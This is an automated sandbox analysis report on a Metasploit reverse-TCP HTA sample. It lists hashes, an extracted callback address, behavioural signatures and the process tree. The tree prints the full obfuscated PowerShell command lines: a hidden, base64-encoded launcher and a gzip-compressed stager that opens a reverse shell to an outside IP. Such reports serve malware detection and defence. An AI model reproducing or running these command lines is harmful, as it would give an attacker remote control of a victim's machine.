Analysis
-
max time kernel
149s -
max time network
153s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
30-05-2024 04:34
Static task
static1
Behavioral task
behavioral1
Sample
reverse_tcp.hta
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
reverse_tcp.hta
Resource
win10v2004-20240508-en
General
-
Target
reverse_tcp.hta
-
Size
7KB
-
MD5
4e99f0feadde2839ac462ed6916bfd07
-
SHA1
1830781cc5f224a68b64bc96d93f10b59b7122b7
-
SHA256
8022b173111766352a7a3c42480505eba6391a170950505a9d539a9fcf4f2ab3
-
SHA512
a189491fcacfc9eaecb1c31d706f77b3b6d96ab0d0079e60e7b01bdcba67b0a7b0ebf415e708276212875d479847b00ee2a7aaf40865dc73b3cda64a83d8dd1e
-
SSDEEP
192:8n2jh1hqT2dcgE65MfDnQ8BQb1STDaIsF6hd9d:8n2jh1hsYsXQehT+Mhd9d
Malware Config
Extracted
metasploit
windows/reverse_tcp
1.14.247.162:40001
Signatures
-
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Blocklisted process makes network request 8 IoCs
Processes:
powershell.exeflow pid process 2 2752 powershell.exe 2 2752 powershell.exe 2 2752 powershell.exe 2 2752 powershell.exe 2 2752 powershell.exe 2 2752 powershell.exe 2 2752 powershell.exe 2 2752 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepid process 1996 powershell.exe 2752 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Processes:
mshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepowershell.exepid process 1996 powershell.exe 2752 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 1996 powershell.exe Token: SeDebugPrivilege 2752 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
mshta.exepowershell.exedescription pid process target process PID 3056 wrote to memory of 1996 3056 mshta.exe powershell.exe PID 3056 wrote to memory of 1996 3056 mshta.exe powershell.exe PID 3056 wrote to memory of 1996 3056 mshta.exe powershell.exe PID 3056 wrote to memory of 1996 3056 mshta.exe powershell.exe PID 1996 wrote to memory of 2752 1996 powershell.exe powershell.exe PID 1996 wrote to memory of 2752 1996 powershell.exe powershell.exe PID 1996 wrote to memory of 2752 1996 powershell.exe powershell.exe PID 1996 wrote to memory of 2752 1996 powershell.exe powershell.exe
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\reverse_tcp.hta"1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:3056 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACcAJwBIADQAcwBJAEEATQBFAFAAMQAyAFUAQwBBADcAVgBXAGIAVwAvAGEAUwBCAEQAewAxAH0AWABxACcAJwArACcAJwBuAC8AdwBhAHEAUQBiAEsAcwBFAG0ANQBjADIAVABhAFIASwB0ADgAWQBCAG4AQQBRAEMAYwBZAEEAQQBoADAANABiAGUANwBHADMAVwBYAHUASgB2AFEANgBoAHYAZgA3ADMAbQA4AFYAMgBTAEsALwBKAFgAZQA2AGsAVwBrAHIAWQBsADUAbgBaADIAVwBlAGUAbQBkAGwAVgBGAG4AdQBDADgAbABqAFoATwBzAHEAMwB0ADIAewAxAH0AVQA0AGgAdgBpAEIARQBlAEsAVgByAGsALwB4ADEAVwBsAEUAdAAnACcAKwAnACcAcgA2AGYAcQB1AHkAVAByAG4AeQBXAGQARQBXAGEATAAyADIAZQBZAFIAcAB2AEQAdwB7ADEAfQBiAG0AJwAnACsAJwAnAGQASgBRAG0ASwBSAHoAMgB0AGQASQBsAEMAYQBrAHUAaQBHAFUAWgBKAHEAdQB2AEsAbgBNAGcAMQBKAFEAZwA0AHUAYgByADQAUQBUAHkAagBmAGwATQBvAGYAdABTADcAagBOADUAZwBWAFkAdABzADIAOQBrAEsAaQBIAEsARABZAGwAMwB2AG4AMwBNAFAAUwBxAFoAcQA3AFoAbABSAG8ANgB1AHsAMQB9AC8AcQAvAHIAaQBvAEwANgBzAG4AZAB4AGwAbQBLAFcAYQA2AG0ANQBUAFEAYQBLAGEAegA1AGkAcQBLADkAOQAxACcAJwArACcAJwBlAGUARABWAGQAawAwADAAdABVAHsAMQB9ADkAaABLAGQAOABKAFcAcABUAEcAagBjAGIAdABYAEcAYwA0AGgAVQBaAGcATABWADcAMABpAGMAaQA1AEgANgBxAHcAbAAzADIAdAAwAG0ASQB5AEoASgA0AGQAeQBsAHAASgBaAGYAUgBWAEIAZwBPAEUAewAxAH0ANABoADMAMAA5AEkAbQBxAHAAVgBaAFMASAB0AEwANQBiAEwAMwA3AFIARgBjAGYAaABsAEYAZwBzAGEAawBaAG8AVABDADUATAB3AHQAVQB1AFMAZQB7ADEAfQBxAFIAdABOAGIARABzAGMALwBJAEoAVgBrAHQAUQBjAHMAVgBDAFkAMgBEAHAAYQA2AEQAMgBEADIALwBKAFYAbwBsAHoAaABpACcAJwArACcAJwByAEsAdgAvAEYAagAnACcAKwAnACcARABZAGcAbQB4AEsANgAxAHkAcABwAFQANQBWAEEAYQBpAGcAUwB2AFEAcgB4AC8AUABtAGEAZgBlADUAbgBqAE8AUwBLADYAagBOAHsAMQB9AFMAZwByAG8AOABPAFUAMABBAE8AeQB7ADEAfQBTAC8AaABXAEoAVwAxAHUAdQAnACcAKwAnACcAdgBXAHoAWgA0AGkAegBYAHkAaQAvAHgAVwA2AEgAZwBMAC8AYQBrAEsAZAAwAHAALwB4AFoATQBhAHQASwBIADQANwBHAGcAaQBkAGIAbQBGAGEAdQBrAG8AegBvAHkAMABlADAAbABVAHIAUwB7ADEAfQB6AEMAUABxADYAOAAxAFYAeQA5ADEAUQBmAE0AdQBoAEkAWABGAGgARgBOAC8AdQBWAGYALwBJAGYAYQBWAHMASABrAFMAMgBGAEwAcQBaAFMAcgBiAFoARQBWACcAJwArACcAJwBqAFkAbQA5AGoASABGAEcAdgBaAEsAdgAyAFgARQBqAEkAaQBwAEUAZABKAHIAVgBTAGIAQQBBAE8AYQBtAHEAeABRAFgAeQBiAE0AQgBKAGcASQBWAEcAVwB6AFAAaABKADcAUwBTAGkANABsAEgAWAB5AGkAagB6AFMAWQBJADgAQwBHAHMASwBYAGsASABFADkAUgB7ADEAfQBkAHkAUQBPAG4AcQAnACcAKwAnACcAVQA3AGMASgB4AEgAQQBsADgAewAxAH0AQgBxAHAAVQBWADUAQQBnAHAAcABZAHUAOAAyAEoAYQBuAHkAegBrAEkAcQBXADIARwAwADcAUwAnACcAKwAnACcAcQBEAEQATgBJAFUAcQB7ADEAfQBxAHUAQQBRAHoANABsAGMAVgBGAEsAZQAwADIARQBLAFoANABMAHUAaAB1AG4AZQAzAG4AegBGAEIAUABaAHkASwAwAHQAeABTAC8AegB1AGUAeABiAGwAdABIAHEAYwBpAHkAVAB5AEkATABHAEIAdwA1AGEANgBKAFIAegBHAFQAawBGAFMAVgBIAHYAVwBKAHQAWABWAHAAVQBKADYAdgBQAGcAdABJAEcAegBNAEcAMgBRAE8AVwA3AGkARQBnAHMAQwBLAEIAYwBJAFgAawBTAHcASwB1ADUAdAB6AFEAYQB5ADQAUgBUAHIAUgBtAEoAQQAnACcAKwAnACcASwBoAFgAZABuAG8ATQBCAHgAQQBrAFMAaQBTAFoATQBjAHcASABCAEIAZgBmAGMAbgBWAE0AaAB0ACcAJwArACcAJwB5ADYAawB0AHcAUwBsAFMAZQBPAEEAbwBSAGQAeABrAFgAVgBXAFYAQwBFAHcARgBWAFMAQQBKADkARgAvADQALwBMADMANAB1AFAANwBrADcANwBZAFEAVQBFAGQATABLAFIARgB0AFkAVwB5AEUAegBvAGUASQAvAFMASwBJAFcASQBPADAAZwBTAFEAVABBADAAVQBsADQAWgBPAEcAVQBmAEcAegBsAHAAVQBaADcAWgAxAHoAUQBJAFkASgB2AFoAdgBmAGMAdQBTAFAAYwBQAHYAegBaAFQAcwB4AG8AMwBSAG4AYgBoAC8ANwBaAEsAUgBmAGIATQA3AHQAbgA5AEwAMQAyAE8AdQB4ADIAUABpAEcANgBDAFQAYgBlAHAAdwBIAHkALwBGAE8AZgBIAEwAbQBUAGwAbgBCAFAASABOAEUAZQBvAHQANgBJAG0AbABZAHIAOQBDAHoAegBDAHMAWgBqAFIAegBoAGQAUgA4AHcAYwAxAEwAcwBLAFAAVwBZAE8AdwBZAFkANwBTADAAMgA2ADYAVQAzADcAbgBtADEAOQAzAFQAUgBTAG8ARwB1AHIAMQBiAHMAMgBVAGIAUABaAHUAbQBpAGEAdAA0AEQAZQBqAE4AYQBEAFcAewAxAH0AUQBQAEkAcgBwADUATwBJAGMAeAAxAE4AJwAnACsAJwAnAFMATABjADgAdABKAEwAZABOAGgASgA2AGYAdAB5ADUAdABwAG8AegBPAGYAcwBwADcAUgA2AG8AUwByAEsAVQAvAGQAagB6AFAAYgBNAEkAdwBqAEgAOQB2ADkATABVAEkAVwA5ADUAdgA5ADcAWABYADkAawBsAC8AMQB2AE0AaABxAHgAZAB3ADQAYQByAGQAdQAwAFEAbAAnACcAKwAnACcAQwA3AGYAaABrADAAcgBIADQAMgBjAHgASwAwAE4AQwBZADQARwBEAE4AMABlAGkAdwB5AGEATwBnAGoAVQA0AGYATABFAHIAbQBvADMASABIAEcAbwAwADYARgBoAHAAMwB2ADkAegBaAFIAMABaAGcASABFADIAdgBjAFcAaABOAEoAdwAwADYAWAAxADkAZgBoAGoARAB2AGIASABxAGoATQA4AE4AcwBPAFQANwA1AHkAdQBjAGIAQQBLADcATABFAFEANAB1AFEAUwBaAG8ATgA3AHgAdwBCAFQATAAyAGUAMgBTADkASAAvAEMAMABnAFcAOAB0AGoAaQB5AFEANgBjAHoAdgBVAEQAZQBjAHIAVAB0AEQAQgB2AHQAWAA0AHcAWgBIAEUAegBhADQAeAB1AGgAOAB2AHUAMABZAFIAbgAwADIAYgBLAEcAZQB5AGEAZgBkAEEASQAxAEEASABBAGYAVwBDAEsAUAAwADMAdgA1AHEARwAvAFcASgB6AC8AMwBwAGgAOABGAHMAWgBVAHkAdQAyAGEARgBoAHQAMABmAEQAOABGAHIAZQAyAFYAaABIADgAdgB7ADEAfQBtAFoANQA5ADUAOAAvAHIARwB1AHoAagA4AGQARAA2AGwAawA0AGkAagBzAFcARgBNADMAZwBFAGwARgBtAE0AYQBpADIAWgBqAFcAYwBrADIAWABWAGsAOQAzADcANgBwAFAASABRAG4ANAB5AGYATQBlAEsAawB6ADkASABHAFMAaABwAGcAQgBZADYARABtAGwAOABuAGIANABVAG0AbgBLAE8AUgBEAFQAcQAnACcAKwAnACcAVwBHAHAAcwBFADcANABKACcAJwArACcAJwBZAGsATQBXAEgAUQBQAGEARwAvAGwAbgBSAEgAagBIAEYAUAB0AHAAQgBkAHcAWQBmADIAbABUAGMAVgAyAGUAUABHAHoAcwA2AG4ANQAwAGEANgA4AGkAaQBvADcAMwB0AEwAdQBYAFIAOABQAEEAYwBmAEkAWQBYADgAaAA5AG8ANQBpAFEATQBSAFYAcwAyAEgAcABtAGwAQwBVAHoAQQBmAHoATgBZAHUAVQBWADUALwByAHoAWgBmAGIAegBVAHcAVgBaAFYATgBaAFEAZABMAGIAcABuAHQATABJAE0AeAB1AGwASQAwADcAVgBmAGoAQgBLADgARwBBAGUAWAByAFoAYQBSAGUAQQBnADEATwB2AG8AVgBhAEEAewAxAH0AVQB2AHoAMwA4AEoAbgBjAFUANQBlAHcAcABjAGMAYQAnACcAKwAnACcAdABIAEYAdQB4AHgAQQA4AEQAcQBjAE8AMgBGAGYAQwA5AEkAYwBvAEQANgBBAGIAbABUAEsAawBMADIAMAA2AGYAOQB1AFgASQB6AHUAZgB7ADEAfQBWAGQAQwBsAEsAVwBBAGcALwAvAHIALwBSACcAJwArACcAJwBaAGIALwAyAEQANwB1AHYAbwBwAEIAWgB6AGEASAA1AGEAZgBuAEgAaABTAGMATgA0AEoAYwBCAE0ATQBWAFUAZwBKAHcATAAnACcAKwAnACcAdABaAGkAUgAvAEkAbgB3AFAAQQA1AEYAaABqAHkASgBMAG8AUQBHAEUAbQBCAFYAZgBQAEwAWgBmAEoARwBKAGcAdwBFADgAeABIAGIATgA0AEMAOABYAEQAbwBXAFMAcQB3AHMAQQBBAEEAewAwAH0AewAwAH0AJwAnACkALQBmACcAJwA9ACcAJwAsACcAJwArACcAJwApACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1996 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('H4sIAMEP12UCA7VWbW/aSBD{1}Xq'+'n/waqQbKsEm5c2TaRKt8YBnAQCcYAAh04be7G3WXuJvQ6hvf73m8V2SK/JXe6kWkrYl5nZ2WeemdlVFnuC8ljZOsq3t2{1}U4hviBEeKVrk/x1WlEt'+'r6fquyTrnyWdEWaL22eYRpvDw{1}bm'+'dJQmKRz2tdIlCakuiGUZJquvKnMg1JQg4ubr4QTyjflMoftS7jN5gVYts29kKiHKDYl3vn3MPSqZq7ZlRo6u{1}/q/rioL6sndxlmKWa6m5TQaKaz5iqK991'+'eeDVdk00tU{1}9hKd8JWpTGjcbtXGc4hUZgLV70ici5H6qwl32t0mIyJJ4dylpJZfRVBgOE{1}4h309ImqpVZSHtL5bL37RFcfhlFgsakZoTC5LwtUuSe{1}qRtNbDsc/IJVktQcsVCY2Dpa6D2D2/JVolzhi'+'rKv/Fj'+'DYgmxK61yppT5VAaigSvQrx/Pmafe5njOSK6jN{1}Sgro8OU0AOy{1}S/hWJW1uu'+'vWzZ4izXyi/xW6HgL/akKd0p/xZMatKH47GgidbmFaukozoy0e0lUrS{1}zCPq681Vy91QfMuhIXFhFN/uVf/IfaVsHkS2FLqZSrbZEV'+'jYm9jHFGvZKv2XEjIipEdJrVSbAAOamqxQXybMBJgIVGWzPhJ7SSi4lHXyijzSYI8CGsKXkHE9R{1}dyQOnq'+'U7cJxHAl8{1}BqpUV5AgppYu82JanyzkIqW2G07S'+'qDDNIUq{1}quAQz4lcVFKe02EKZ4Luhune3nzFBPZyK0txS/zuexbltHqciyTyILGBw5a6JRzGTkFSVHvWJtXVpUJ6vPgtIGzMG2QOW7iEgsCKBcIXkSwKu5tzQay4RTrRmJA'+'KhXdnoMBxAkSiSZMcwHBBffcnVMht'+'y6ktwSlSeOAoRdxkXVWVCEwFVSAJ9F/4/L34uP7k77YQUEdLKRFtYWyEzoeI/SKIWIO0gSQTA0Ul4ZOGUfGzlpUZ7Z1zQIYJvZvfcuSPcPvzZTsxo3Rnbh/7ZKRfbM7tn9L12Oux2PiG6CTbepwHy/FOfHLmTlnBPHNEeot6ImlYr9CzzCsZjRzhdR8wc1LsKPWYOwYY7S0266U37nm193TRSoGur1bs2UbPZumiat4DejNaDW{1}QPIrp5OIcx1N'+'SLc8tJLdNhJ6fty5tpozOfsp7R6oSrKU/djzPbMIwjH9v9LUIW95v97XX9kl/1vMhqxdw4ardu0Ql'+'C7fhk0rH42cxK0NCY4GDN0eiwyaOgjU4fLErmo3HHGo06Fhp3v9zZR0ZgHE2vcWhNJw06X19fhjDvbHqjM8NsOT75yucbAK7LEQ4uQSZoN7xwBTL2e2S9H/C0gW8tjiyQ6czvUDecrTtDBvtX4wZHEza4xuh8vu0YRn02bKGeyafdAI1AHAfWCKP03v5qG/WJz/3ph8FsZUyu2aFht0fD8Fre2VhH8v{1}mZ5958/rGuzj8dD6lk4ijsWFM3gElFmMai2ZjWck2XVk9376pPHQn4yfMeKkz9HGShpgBY6Dml8nb4UmnKORDTq'+'WGpsE74J'+'YkMWHQPaG/lnRHjHFPtpBdwYf2lTcV2ePGzs6n50a68iio73tLuXR8PAcfIYX8h9o5iQMRVs2HpmlCUzAfzNYuUV5/rzZfbzUwVZVNZQdLbpntLIMxulI07VfjBK8GAeXrZaReAg1OvoVaA{1}Uvz38JncU5ewpcca'+'tHFuxxA8DqcO2FfC9IcoD6AblTKkL206f9uXIzuf{1}VdClKWAg//r/R'+'Zb/2D7uvopBZzaH5afnHhScN4JcBMMVUgJwL'+'tZiR/InwPA5FhjyJLoQGEmBVfPLZfJGJgwE8xHbN4C8XDoWSqwsAAA{0}{0}')-f'=','+')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2752
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msFilesize
7KB
MD5d589e153207cf044bd510ad046367639
SHA1c1be1a5da63d9b4ba9ce1400146b0192f68d9c79
SHA2560aced8a0f1e485e3aa391e70bd7af59fbe80610b82aef649b0c63643c12f848e
SHA512b7101cbf861037a1a4af91758675fa91147f605bd154810c6bd19ce5825a8dc861fb41fb4d9c0c17304b55bbb2ddaa8032dfdceaeb0093332377399938461b79
-
memory/2752-7-0x0000000002F90000-0x0000000002F91000-memory.dmpFilesize
4KB